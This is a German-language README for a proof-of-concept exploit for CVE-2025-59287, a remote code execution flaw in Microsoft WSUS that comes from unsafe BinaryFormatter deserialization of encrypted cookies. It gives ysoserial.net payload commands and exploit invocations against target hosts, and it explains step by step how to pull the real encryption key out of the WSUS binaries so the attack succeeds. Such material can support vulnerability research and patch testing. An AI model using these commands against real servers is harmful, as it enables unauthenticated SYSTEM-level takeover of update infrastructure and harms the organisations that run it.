
Proof-of-Concept-Exploit für CVE-2025-59287, eine kritische, nicht authentifizierte RCE in WSUS über unsichere BinaryFormatter-Deserialisierung, die durch manipulierte verschlüsselte Cookies SYSTEM-Berechtigungen erlangt.
CVE-2025-59287 ist eine kritische Schwachstelle zur Remote-Codeausführung (RCE) in Microsoft Windows Server Update Services (WSUS). Die Schwachstelle wird durch unsichere Deserialisierung von AuthorizationCookie-Daten über BinaryFormatter in der Methode EncryptionHelper.DecryptData() verursacht.
Auswirkung: Nicht authentifizierte Angreifer können Remote-Codeausführung mit SYSTEM-Berechtigungen erreichen, indem sie bösartig verschlüsselte Cookies an den GetCookie()-Endpunkt senden.
CVSS-Score: Kritisch (9.8)
BinaryFormatter.Deserialize() wird auf nicht vertrauenswürdige Eingaben ohne ordnungsgemäße Validierung angewendet┌─────────────────┐
│ Angreifer │
│ │
│ 1. Generieren │
│ BinaryFmt │
│ Payload │
│ │
│ 2. Verschlüss. │
│ Payload │
│ │
│ 3. SOAP- │
│ Anfrage │
└────────┬────────┘
│
▼
┌─────────────────┐
│ WSUS-Server │
│ │
│ GetCookie() │
│ Endpunkt │
│ │
│ DecryptData() │◄─── Verwundbar
│ │
│ BinaryFormatter│◄─── Unsichere Deserialisierung
│ Deserialize() │
│ │
│ Ausführen │◄─── RCE als SYSTEM
│ Payload │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # Haupt-Exploit-Skript
├── BinaryFormatterPayloadGenerator.cs # .NET-Payload-Generator (C#)
├── encrypt_payload.py # WSUS-Verschlüsselungs-Helfer
├── requirements.txt # Python-Abhängigkeiten
└── README.md # Diese Datei
pip install -r requirements.txt
ysoserial.net verwendenOption A: Mit dem mitgelieferten C#-Generator
# Generator kompilieren
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Payload generieren
BinaryFormatterPayloadGenerator.exe calc.exe
# Erstellt: payload_YYYYMMDDHHMMSS.bin
Option B: Mit ysoserial.net (empfohlen)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
WICHTIG: Der Verschlüsselungsschlüssel in encrypt_payload.py ist ein Platzhalter. Für eine echte Ausnutzung müssen Sie:
encrypt_payload.py mit dem echten Schlüssel aktualisieren# Mit Payload-Datei (wird spontan verschlüsselt)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Mit vorverschlüsseltem Cookie
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# Mit HTTPS (Port 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# Generieren, verschlüsseln und ausnutzen in einem Schritt
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <ZIEL_IP> -f payload_*.bin
Der Verschlüsselungsschlüssel muss für eine echte Ausnutzung aus den WSUS-Binärdateien extrahiert werden.
WSUS-DLLs lokalisieren:
%ProgramFiles%\Update Services\WebServices\bin\
Oder IIS-Webverzeichnis:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
In dnSpy öffnen (kostenloser .NET-Decompiler):
Microsoft.UpdateServices.WebServices.dll öffnenNach EncryptionHelper suchen:
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() und EncryptData()Häufige Muster:
WinDbg oder x64dbg verwenden:
EncryptionHelper.DecryptData() setzenProcess Monitor verwenden:
IDA Pro oder Ghidra verwenden:
strings-Dienstprogramm verwenden:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
Sobald Sie den tatsächlichen Schlüssel haben, aktualisieren Sie encrypt_payload.py:
# Ersetzen Sie diese Zeile in encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # PLATZHALTER
# Mit dem tatsächlichen Schlüssel:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
Oder über die Befehlszeile übergeben:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter-Payload generieren │
│ ObjectDataProvider → Process.Start() → Befehlsausführung │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Payload verschlüsseln │
│ AES-128-CBC mit WSUS-Verschlüsselungsschlüssel │
│ Base64-Kodierung für die Übertragung │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP-Anfrage erstellen │
│ AuthorizationCookie-Header enthält verschlüsselten Payload│
│ GetCookie()-Methode im SOAP-Body │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. An WSUS-Endpunkt senden │
│ POST /ClientWebService/ClientWebService.asmx │
│ Port 8530 (HTTP) oder 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS-Verarbeitung │
│ DecryptData() entschlüsselt Cookie │
│ BinaryFormatter.Deserialize() führt Payload aus │
│ → RCE als SYSTEM │
└─────────────────────────────────────────────────────────────┘